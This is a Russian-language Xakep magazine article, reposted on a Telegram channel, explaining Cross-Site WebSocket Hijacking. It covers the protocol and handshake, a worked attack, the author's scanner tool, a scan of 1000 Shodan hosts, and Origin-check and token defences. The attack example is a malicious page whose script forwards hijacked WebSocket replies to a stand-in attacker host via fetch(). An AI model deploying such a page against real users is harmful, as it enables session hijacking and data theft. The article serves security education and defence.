Хакер - Cross-Site WebSocket Hijacking. Разбираемся, как работает атака на WebSocket

Хакер - Cross-Site WebSocket Hijacking. Разбираемся, как работает атака на WebSocket

hacker_frei

https://t.me/hacker_frei

Андрей Балабанов

Содержание статьи

  • Описание протокола
  • Установка соединения
  • Передача данных
  • Как работает уязвимость
  • CSWSH в тестовой среде
  • Создание утилиты cswsh-scanner
  • CSWSH в «дикой природе»
  • Защита от CSWSH
  • Выводы

Впер­вые об уяз­вимос­ти Cross-Site WebSocket Hijacking (CSWSH) я узнал из статьи Крис­тиана Шнай­дера и выс­тупле­ния Миха­ила Его­рова, но не обра­тил на нее вни­мания. Поз­же, читая ре­порт на HackerOne, оце­нен­ный в 800 дол­ларов, понял, что хочу разоб­рать­ся. На прос­торах Рунета под­робно­го опи­сания CSWSH не наш­лось, и я решил написать его самос­тоятель­но.

В этой статье мы раз­берем про­токол WebSocket, под­робно оста­новим­ся на уяз­вимос­ти CSWSH — нас­коль­ко она рас­простра­нена в откры­том интерне­те. Для тех, кто дочита­ет до кон­ца, я при­гото­вил бонус в виде ути­литы cswsh-scanner, с помощью которой ты можешь про­верить свои при­ложе­ния, работа­ющие с WebSocket, либо попытать уда­чи на баг‑баун­ти.

WARNING

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни редак­ция, ни автор не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный матери­ала­ми дан­ной статьи.

ОПИСАНИЕ ПРОТОКОЛА

Итак, что такое WebSocket? Википе­дия дает сле­дующее опре­деле­ние: «WebSocket — про­токол свя­зи поверх TCP-соеди­нения, пред­назна­чен­ный для обме­на сооб­щени­ями меж­ду бра­узе­ром и веб‑сер­вером в режиме реаль­ного вре­мени». В отли­чие от син­хрон­ного про­токо­ла HTTP, пос­тро­енно­го по модели «зап­рос — ответ», WebSocket пол­ностью асин­хрон­ный и сим­метрич­ный. Он при­меня­ется для орга­низа­ции чатов, онлайн‑таб­ло и соз­дает пос­тоян­ное соеди­нение меж­ду кли­ентом и сер­вером, которое обе сто­роны могут исполь­зовать для отправ­ки дан­ных.

Про­токол WebSocket опре­делен в RFC 6455. Для про­токо­ла зарезер­вирова­ны две URI-схе­мы:

  • для обыч­ного соеди­нения: ws://host[:port]path[?query];
  • для соеди­нений через тун­нель TLS: wss://host[:port]path[?query].

WebSocket дос­таточ­но рас­простра­нен в сов­ремен­ной веб‑раз­работ­ке, есть под­дер­жка во всех популяр­ных язы­ках прог­рамми­рова­ния и бра­узе­рах. Его исполь­зуют в онлайн‑чатах, дос­ках объ­явле­ний, веб‑кон­солях, при­ложе­ниях трей­деров. С помощью поис­ковика shodan.io мож­но с лег­костью най­ти при­ложе­ния на WebSocket, дос­тупные из интерне­та. Дос­таточ­но сфор­мировать прос­той зап­рос. Я не поленил­ся и сде­лал:

Search for Sec-WebSocket-Version HTTP/1.1 400 Bad Request returned 55,461 results on 10-05-2020

В резуль­тате наш­лось 55 тысяч адре­сов с обширной геог­рафи­ей.

WebSocket в мире

УСТАНОВКА СОЕДИНЕНИЯ

Раз­берем теперь, как работа­ет WebSocket. Вза­имо­дей­ствие меж­ду кли­ентом и сер­вером начина­ется с рукопо­жатия. Для рукопо­жатия кли­ент и сер­вер исполь­зуют про­токол HTTP, но с некото­рыми отли­чиями в фор­мате переда­ваемых сооб­щений. Не соб­люда­ются все тре­бова­ния к HTTP-сооб­щени­ям. Нап­ример, отсутс­тву­ет заголо­вок Content-Length.

Для начала кли­ент ини­циирует соеди­нение и отправ­ляет зап­рос сер­веру:

GET /echo HTTP/1.1

Host: localhost:8081

Sec-WebSocket-Version: 13

Origin: http://localhost:8081

Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

Connection: keep-alive, Upgrade

Upgrade: websocket

За­голов­ки Sec-WebSocket-VersionSec-WebSocket-KeyConnection: Upgrade и Upgrade: websocket обя­затель­ны, ина­че сер­вер воз­вра­щает ста­тус HTTP/1.1 400 Bad Request. Сер­вер отве­чает на зап­рос кли­ента сле­дующим обра­зом:

HTTP/1.1 101 Switching Protocols

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

За­голо­вок Sec-WebSocket-Key фор­миру­ется кли­ентом как слу­чай­ное 16-бай­товое зна­чение, закоди­рован­ное в Base64. Вари­ант фор­мирова­ния заголов­ка на Go:

func generateChallengeKey() (string, error) {

p := make([]byte, 16)

if _, err := io.ReadFull(rand.Reader, p); err != nil {

return "", err

}

return base64.StdEncoding.EncodeToString(p), nil

}

За­голо­вок Sec-WebSocket-Accept в отве­те фор­миру­ется по сле­дующе­му алго­рит­му. Берет­ся стро­ковое зна­чение из заголов­ка Sec-WebSocket-Key и объ­еди­няет­ся с GUID 258EAFA5-E914-47DA-95CA-C5AB0DC85B11. Далее вычис­ляет­ся хеш SHA-1 от получен­ной в пер­вом пун­кте стро­ки. Хеш кодиру­ется в Base64. Вари­ант фор­мирова­ния заголов­ка на Go:

const GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"

func computeAcceptKey(challengeKey string) string {

h := sha1.New()

h.Write([]byte(challengeKey + GUID))

return base64.StdEncoding.EncodeToString(h.Sum(nil))

}

За­голов­ки Sec-WebSocket-Key и Sec-WebSocket-Accept не исполь­зуют­ся для авто­риза­ции и под­дер­жки сес­сий, они слу­жат для того, что­бы сто­роны убе­дились, что зап­рос и ответ отно­сят­ся к про­токо­лу WebSocket. Это помога­ет гаран­тировать, что сер­вер не при­нима­ет от кли­ентов зап­росы, не отно­сящи­еся к WebSocket.

Так­же RFC 6455 пред­полага­ет, что Sec-WebSocket-Key дол­жен быть выб­ран слу­чай­ным обра­зом для каж­дого соеди­нения. Это озна­чает, что любой кеширо­ван­ный резуль­тат от прок­си‑сер­вера будет содер­жать невалид­ный Sec-WebSocket-Accept и, сле­дова­тель­но, рукопо­жатие про­валит­ся вмес­то неп­редна­мерен­ного чте­ния кеширо­ван­ных дан­ных. Для успешно­го завер­шения рукопо­жатия кли­ент про­веря­ет зна­чение Sec-WebSocket-Accept и ожи­дает ста­тус‑код 101 Switching Protocols. Пос­ле того как рукопо­жатие выпол­нено, пер­воначаль­ное соеди­нение HTTP заменя­ется соеди­нени­ем по WebSocket, которое исполь­зует то же соеди­нение TCP/IP. На этом эта­пе любая из сто­рон может начать отправ­ку дан­ных.

Для монито­рин­га тра­фика WebSocket удоб­но исполь­зовать «Инс­тру­мен­ты раз­работ­чика», дос­тупные, к при­меру, в Chrome.

WebSocket в «Инс­тру­мен­тах раз­работ­чика»

ПЕРЕДАЧА ДАННЫХ

Как в WebSocket переда­ются сооб­щения? Дан­ные по про­токо­лу WebSocket переда­ются как пос­ледова­тель­ность фрей­мов. Фрейм име­ет заголо­вок, в котором содер­жится сле­дующая информа­ция:

  • фраг­менти­рова­но ли сооб­щение;
  • тип переда­ваемых дан­ных — all code;
  • под­верга­лось ли сооб­щение мас­киров­ке — флаг мас­ки;
  • раз­мер дан­ных;
  • ключ мас­ки (32 бита);
  • дру­гие управля­ющие дан­ные (ping, pong...).

Фор­мат фрей­ма пред­став­лен на рисун­ке.

Фор­мат фрей­ма WebSocket

Все сооб­щения, посыла­емые кли­ентом, дол­жны мас­кировать­ся. При­мер отправ­ки тес­тового сооб­щения «Hello world!» кли­ентом (дан­ные из tcpdump):

Fin: True

Reserved: 0x0

Opcode: Text (1)

Mask: True

Payload length: 12

Masking-Key: a2929b01

Payload: eaf7f76dcdb2ec6ed0feff20

Мас­киров­ка про­изво­дит­ся обыч­ным XOR с клю­чом мас­ки. Кли­ент дол­жен менять ключ для каж­дого передан­ного фрей­ма. Сер­вер не дол­жен мас­кировать свои сооб­щения. При­мер отправ­ки тес­тового сооб­щения «Hello world!» сер­вером:

Fin: True

Reserved: 0x0

Opcode: Text (1)

Mask: False

Payload length: 12

Payload: 48656c6c6f20776f726c6421

Мас­киров­ка переда­ваемых сооб­щений нек­риптос­той­кая, что­бы обес­печить кон­фиден­циаль­ность, для WebSocket сле­дует исполь­зовать про­токол TLS и схе­му WSS.

КАК РАБОТАЕТ УЯЗВИМОСТЬ

С про­токо­лом разоб­рались, самое вре­мя перей­ти к CSWSH. Про­токол WebSocket исполь­зует Origin-based модель безопас­ности при работе с бра­узе­рами. Дру­гие механиз­мы безопас­ности, нап­ример SOP (Same-origin policy), для WebSocket не при­меня­ются. RFC 6455 ука­зыва­ет, что при уста­нов­ке соеди­нения сер­вер может про­верять Origin, а может и нет:

По­ле заголов­ка Origin в рукопо­жатии кли­ента озна­чает про­исхожде­ние скрип­та, который уста­нав­лива­ет соеди­нение. Origin сери­али­зует­ся через ASCII и кон­верти­рует­ся в ниж­ний регистр. Сер­вер МОЖЕТ исполь­зовать эту информа­цию при при­нятии решения о том, при­нимать ли вхо­дящее соеди­нение. Если сер­вер не про­веря­ет Origin, он будет при­нимать соеди­нение отку­да угод­но. Если сер­вер реша­ет не при­нимать соеди­нение, он ОБЯ­ЗАН вер­нуть соот­ветс­тву­ющий номер ошиб­ки HTTP (то есть 403 Forbidden) и отме­нить рукопо­жатие по WebSocket, опи­сан­ное в этой сек­ции.

Уяз­вимость CSWSH свя­зана со сла­бой или невыпол­ненной про­вер­кой заголов­ка Origin в рукопо­жатии кли­ента. Это раз­новид­ность уяз­вимос­ти под­делки меж­сай­товых зап­росов (CSRF), толь­ко для WebSocket. Если при­ложе­ние WebSocket исполь­зует фай­лы cookie для управле­ния сеан­сами поль­зовате­ля, зло­умыш­ленник может под­делать зап­рос на рукопо­жатие с помощью ата­ки CSRF и кон­тро­лиро­вать сооб­щения, отправ­ляемые и получа­емые через соеди­нение WebSocket.

Стра­ница зло­умыш­ленни­ка может затем отправ­лять про­изволь­ные сооб­щения на сер­вер через соеди­нение и счи­тывать содер­жимое сооб­щений, получен­ных обратно с сер­вера. Это озна­чает, что, в отли­чие от обыч­ного CSRF, зло­умыш­ленник получа­ет двус­торон­нее вза­имо­дей­ствие со ском­про­мети­рован­ным при­ложе­нием.

Ус­пешная ата­ка CSWSH поз­воля­ет зло­умыш­ленни­ку:

  1. Вы­пол­нять несан­кци­они­рован­ные дей­ствия, мас­киру­ясь под поль­зовате­ля‑жер­тву. Как и в слу­чае обыч­ной CSRF, зло­умыш­ленник может отправ­лять про­изволь­ные сооб­щения в сер­верное при­ложе­ние. Если оно исполь­зует сге­нери­рован­ные кли­ентом сооб­щения WebSocket для выпол­нения кон­фиден­циаль­ных дей­ствий, то зло­умыш­ленник может сге­нери­ровать под­ходящие меж­домен­ные сооб­щения и ини­цииро­вать эти дей­ствия.
  2. По­лучить кон­фиден­циаль­ные дан­ные, к которым поль­зователь может иметь дос­туп. В отли­чие от обыч­ного CSRF, меж­сай­товый зах­ват WebSocket дает зло­умыш­ленни­ку двус­торон­нее вза­имо­дей­ствие с уяз­вимым при­ложе­нием через под­кон­троль­ный WebSocket. Если при­ложе­ние исполь­зует сге­нери­рован­ные сер­вером сооб­щения WebSocket для воз­вра­та любых кон­фиден­циаль­ных дан­ных поль­зовате­лю, то зло­умыш­ленник может перех­ватить эти сооб­щения и дан­ные поль­зовате­ля‑жер­твы.

CSWSH В ТЕСТОВОЙ СРЕДЕ

Рас­смот­рим ата­ку CSWSH на при­мере уяз­вимого при­ложе­ния wss://echo.websocket.org. Схе­ма ата­ки выг­лядит сле­дующим обра­зом.


Ата­ка Cross-Site WebSocket Hijacking

Раз­берем по шагам, далее будет при­веде­ны сооб­щения в фор­мате HTTP, получен­ные на каж­дом эта­пе.

Жер­тва в бра­узе­ре отры­вает под­кон­троль­ный зло­умыш­ленни­ку сайт:

GET / HTTP/1.1

Host: attackers-domain

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

По­луча­ет от сай­та стра­ницу с вре­донос­ным содер­жимым:

HTTP/1.1 200 OK

Host: attackers-domain

Date: Tue, 28 Apr 2020 16:41:03 +0000

Connection: close

X-Powered-By: PHP/7.1.33

Content-type: text/html; charset=UTF-8

<!DOCTYPE html>

<html>

<body>

<script>

websocket = new WebSocket('wss://echo.websocket.org');

websocket.onopen = start

websocket.onmessage = handleReply

function start(event) {

websocket.send("attackers-message");

}

function handleReply(event) {

fetch('http://attackers-domain/', {method:'POST',mode:'no-cors',body:event.data})

}

</script>

</body>

</html>

Бра­узер жер­твы выпол­няет скрипт и уста­нав­лива­ет соеди­нение с WebSocket при­ложе­нием ws://echo.websocket.org в кон­тек­сте жер­твы, переда­вая зна­чение cookie:

GET / HTTP/1.1

Host: echo.websocket.org

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Sec-WebSocket-Version: 13

Origin: http://attackers-domain

Sec-WebSocket-Key: twWJRgpy7uu5K9RlQCykJQ==

DNT: 1

Connection: keep-alive, Upgrade

Cookie: SESSIONID=bigsecret

Pragma: no-cache

Cache-Control: no-cache

Upgrade: websocket

При­ложе­ние при­нима­ет заголо­вок Origin: http://attackers-domain и откры­вает новое соеди­нение WebSocket, свя­зан­ное с кукой SESSIONID=bigsecret:

HTTP/1.1 101 Web Socket Protocol Handshake

Access-Control-Allow-Credentials: true

Access-Control-Allow-Headers: content-type

Access-Control-Allow-Headers: authorization

Access-Control-Allow-Headers: x-websocket-extensions

Access-Control-Allow-Headers: x-websocket-version

Access-Control-Allow-Headers: x-websocket-protocol

Access-Control-Allow-Origin: http://attackers-domain

Connection: Upgrade

Date: Tue, 28 Apr 2020 16:30:53 GMT

Sec-WebSocket-Accept: dLe0PXjy/nj7MF8Idif/PLQLNM0=

Server: Kaazing Gateway

Upgrade: websocket

Зло­умыш­ленник отправ­ляет от лица жер­твы сооб­щение attackers-message.

От при­ложе­ния, отве­чающе­го за WebSocket, при­ходит ответное сооб­щение. Пос­коль­ку наше при­ложе­ние — это эхо‑сер­вер, ответ тоже будет attackers-message.

На зак­лючитель­ном эта­пе ответ от сер­вера пересы­лает­ся на под­кон­троль­ный зло­умыш­ленни­ку домен:

POST / HTTP/1.1

Host: attackers-domain

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://attackers-domain/

Content-Type: text/plain;charset=UTF-8

Origin: http://attackers-domain

Content-Length: 17

DNT: 1

Connection: close

Pragma: no-cache

Cache-Control: no-cache

attackers-message

СОЗДАНИЕ УТИЛИТЫ CSWSH-SCANNER

На осно­ве ме­тодо­логии OWASP я раз­работал на Go ути­литу cswsh-scanner, ты можешь най­ти ее на мо­ем GitHub. Можешь под­клю­чить ее модулем в свой про­ект или запус­тить вари­ант для коман­дной стро­ки. Ути­лита тес­тиру­ет рукопо­жатие с сер­вером: пыта­ется уста­новить соеди­нение с «под­дель­ным» заголов­ком Origin (не сов­пада­ет location сер­вера). Сер­вер в таком слу­чае не дол­жен уста­новить соеди­нение и вер­нуть ста­тус‑код 403.

Ус­танов­ка ути­литы:

$ go get -v -u github.com/ambalabanov/cswsh-scanner/...

Ад­реса для тес­тов зада­ются через stdin, воз­можно выс­тавить свое зна­чение заголов­ка Origin. Под­держи­вает­ся мно­гопо­точ­ность и socket.io.

$ cswsh-scanner -h

Usage of cswsh-scanner:

-o string

Origin (default "http://hacker.com")

-s Socket.IO

-v Verbose output

-w int

Number of workers (default 1)

Для при­мера прос­каниру­ем уже извес­тное нам при­ложе­ние ws://echo.websocket.org. Вывод ска­нера:

$ cswsh-scanner

ws://echo.websocket.org

true,ws://echo.websocket.org

wss://echo.websocket.org

true,wss://echo.websocket.org

CSWSH В «ДИКОЙ ПРИРОДЕ»

Что­бы оце­нить, нас­коль­ко рас­простра­нена уяз­вимость CSWSH, мож­но запус­тить ска­нер на про­изволь­ной выбор­ке WebSocket при­ложе­ний из shodan.io. Я про­тес­тировал на выбор­ке из 1000 адре­сов (файл input.txt):

$ grep wss:// input.txt | wc -l

1000

C помощью cswsh-scanner про­веде­но тес­тирова­ние:

$ cat input.txt| cswsh-scanner -w 100 | grep true | wc -l

48

Ре­зуль­тат впе­чат­ляет: 4,8% сер­висов из выбор­ки потен­циаль­но уяз­вимы к CSWSH и при­нима­ют зап­рос на рукопо­жатие с про­изволь­ным заголов­ком Origin. А это зна­чит, что раз­работ­чики при­ложе­ния либо адми­нис­тра­торы сер­веров не оце­нили опас­ность CSWSH и не при­няли меры, что­бы защитить­ся от нее.

ЗАЩИТА ОТ CSWSH

За­щитить­ся от CSWSH мож­но дву­мя спо­соба­ми:

  • про­верять заголо­вок Origin зап­роса на рукопо­жатие WebSocket на сер­вере;
  • ис­поль­зовать инди­виду­аль­ные слу­чай­ные токены (нап­ример, CSRF-токены) в зап­росе на рукопо­жатие и про­верять их на сер­вере.

Иног­да защита от CSWSH уже встро­ена в биб­лиоте­ки, но далеко не всег­да. При­мер того, как реали­зова­на защита от CSWSH в фрей­мвор­ке Gorilla WebSocket:

// checkSameOrigin returns true if the origin is not set or is equal to the request host.

func checkSameOrigin(r *http.Request) bool {

origin := r.Header["Origin"]

if len(origin) == 0 {

return true

}

u, err := url.Parse(origin[0])

if err != nil {

return false

}

return equalASCIIFold(u.Host, r.Host)

}

Про­вер­ка Origin вклю­чена по умол­чанию: срав­нива­ются зна­чения заголов­ков Host и Origin из зап­роса рукопо­жатия.

ВЫВОДЫ

Уяз­вимость Cross-Site WebSocket Hijacking отно­сит­ся к клас­су CSRF для WebSocket. Она прос­та в экс­плу­ата­ции и защите. При опре­делен­ных обсто­ятель­ствах (зависит от биз­нес‑логики при­ложе­ния) может при­вес­ти к серь­езным пос­ледс­тви­ям. Но раз­работ­чики уде­ляют ей мало вни­мания, и, как показы­вает ска­ниро­вание, CSWSH — доволь­но рас­простра­нен­ная уяз­вимость в при­ложе­ниях, исполь­зующих WebSocket.

Читайте ещё больше платных проблем бесплатно: https://t.me/hacker_frei

Report Page